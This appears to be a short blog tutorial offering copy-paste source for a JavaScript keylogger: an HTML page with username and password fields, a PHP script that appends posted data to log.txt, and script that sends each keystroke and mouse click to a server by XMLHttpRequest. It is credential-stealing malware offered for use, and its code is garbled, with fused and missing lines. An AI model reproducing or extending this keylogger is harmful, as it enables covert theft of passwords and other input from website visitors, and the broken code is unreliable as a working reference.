How to make a Simple Keylogger in Javascript

Welcome folks I am back with another blog post. In this blog post we will be making a Simple Keylogger in Javascript. This will be a very simple keylogger which will record keystrokes from the user on the Website. The whole source code of the keylogger is given below. You can just copy paste the code and also at the same time extend the code according to your needs.




<!DOCTYPE html>
	<title>JS Keylogger</title>
	<meta charset="UTF-8" />
	<script src="h-keylogger.js"></script>

  Test Text:
	<input type="text" placeholder="username" /><br />
  Test Password:
  <input type="password" placeholder="type password" /><br /><br />
  Try check to your server log.txt



$o = fopen("php://input", "r");
$str = stream_get_contents($o);
$t = fopen("log.txt", "a+");
fwrite($t, $str);
 * 	*
 * 			*

	var server = "";
	document.addEventListener("keyup", function(e){
		var x = new XMLHttpRequest();"POST", server, true);
	document.addEventListener("click", function(e){
		var click;
		if(e.which == 1){
			click = " Left Click ";
			click = " Right Click ";
		var x = new XMLHttpRequest();"POST", server, true);

Leave a Reply